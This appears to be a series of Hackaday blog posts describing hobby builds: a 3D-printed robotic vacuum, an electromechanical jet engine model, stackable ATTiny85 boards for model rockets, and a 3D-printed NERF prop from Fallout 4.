After you’ve taken a moment to ponder the turn of phrase used in the title, take a look at this scratch-built robotic vacuum created by [theking3737]. The entire body of the vacuum was 3D printed, and all of the internal electronics are off-the-shelf modular components. We can’t say how well it stacks up against the commercial equivalents from iRobot and the like, but it doesn’t look like it would be too hard to build one yourself to find out.

The body of this rather concerned-looking robot was printed on a DMS DP5 printer, which is a neat trick as it only has a build platform of 200 mm x 200 mm. Once all the pieces were printed, a 3D pen was used to “weld” the sections together. The final result looks a bit rough, but should give a bond that’s just as strong as the printed parts themselves.

The robot has four sets of ultrasonic range finders to detect walls and obstacles, though probably not in the positions you would expect. The right side of the robot has two sets of sensors, while the left side only gets one. We aren’t sure the reasoning behind the asymmetrical layout, but presumably the machine prefers making right turns.

Control is provided by an Arduino Mega and the ever-reliable HC-05 Bluetooth module. A companion Android application was written which allows configuring the robot without having to plug into the Arduino every time you want to tweak a setting.

We can’t say we’ve seen that many DIY robotic vacuums here at Hackaday, but we’ve certainly featured our fair share of hacks for the commercially available models.

Delightful Electromechanical Build Of A Jet Engine Model

อาทิตย์, 02/25/2018 - 07:00

[InterlinkKnight]’s jet engine model is a delight to behold and to puzzle out. Many of us have been there before. We know how to build something, we know it’s not the most up-to-date approach, but we just can’t help ourselves and so we go for it anyway. The result is often a fun and ingenious mix of the mechanical and the electrical. His electric jet engine model is just that.

Being a model, this one isn’t required to produce any useful thrust. But he’s made plenty of effort to make it behave as it should, right down to adding a piece of plastic to rub against a flywheel gear in order to produce the perfect high-pitched sound, not to forget the inclusion of the flywheel itself to make the turbine blades gradually slow down once the motor’s been turned off. For the N1 gauge (fan speed gauge) he built up his own generator around the motor shaft, sending the output through rectifying diodes to a voltmeter.

But the most delightful of all has to be the mechanical linkages for the controls. The controls consist of an Engine Start switch, Fuel Control switch and a throttle lever and are all built around a rheostat which controls the motor speed. The linkages are not pretty, but you have to admire his cleverness and just-go-for-it attitude. He must have done a lot of head scratching while getting it to all work together. We especially like how flipping the Fuel Control switch from cutoff to run levers the rheostat with respect to its dial just a little, to give a bit of extra power to the engine. See if you can puzzle it out in his Part 3 video below where he removes the cover and walks through it all.

Now if you’re looking for a working jet engine then check out this bike mounted one.

This one’s been around for a few months and we can’t believe it hasn’t been on Hackaday until now. Thanks for the tip [David].

These Small PCBs are Made for Model Rocketry

อาทิตย์, 02/25/2018 - 04:00

Model rocketry hobbyists are familiar with the need to roll their own solutions when putting high-tech features into rockets, and a desire to include a microcontroller in a rocket while still keeping things flexible and modular is what led [concretedog] to design a system using 22 mm diameter stackable PCBs designed to easily fit inside rocket bodies. The system uses a couple of 2 mm threaded rods for robust mounting and provides an ATTiny85 microcontroller, power control, and an optional small prototyping area. Making self-contained modular sleds that fit easily into rocket bodies (or any tube with a roughly one-inch inner diameter) is much easier as a result.

The original goal was to ease the prototyping of microcontroller-driven functions like delayed ignition or altimeter triggers in small Estes rockets, but [concretedog] felt there were probably other uses for the boards as well and made the design files available on GitHub. (Thanks!)

We have seen stackable PCBs for rocketry before with the amazingly polished M3 Avionics project, but [concretedog]’s design is much more accessible to some hobbyist-level tinkering; especially since the ATTiny85 can be programmed using the Arduino IDE and the boards themselves are just an order from OSH Park away.

[via Dangerous Prototypes Blog]


Fully 3D Printed Nerf Thirst Zapper

อาทิตย์, 02/25/2018 - 01:00

In case you weren’t aware, there is a whole community out there that revolves around customizing NERF guns. In that community is a subculture that builds their own NERF guns, and within that group is a sub-subculture that 3D prints NERF guns. So next time you are contemplating how esoteric your little corner of the hacking world is, keep that in mind.

Anyway, [Wesker] is currently making his way in the world of 3D printed one-off NERF guns, and has unveiled his latest creation: a fully 3D printed “Thirst Zapper” from Fallout 4. Except for the springs, each and every piece of this gun was printed on his CR-10 printer. You could even wind your own springs if you really wanted to, and keep the whole thing in-house. Because if you’re going to do something this niche, you might as well go all in.

Even if you aren’t a member of the NERF-elite, the video [Wesker] has put together for this project is a fantastic look at what it takes to design, print, and finish a custom build. From creating the model to mixing the paint to match the in-game model, this video has a little something for everyone.

This isn’t the first time we’ve covered 3D printed NERF guns, but it’s surely the most ornate we’ve ever seen. Interestingly, the bar is set pretty high for Fallout-themed builds in general, so perhaps there’s some unwritten rule out there in regards to Fallout prop builds.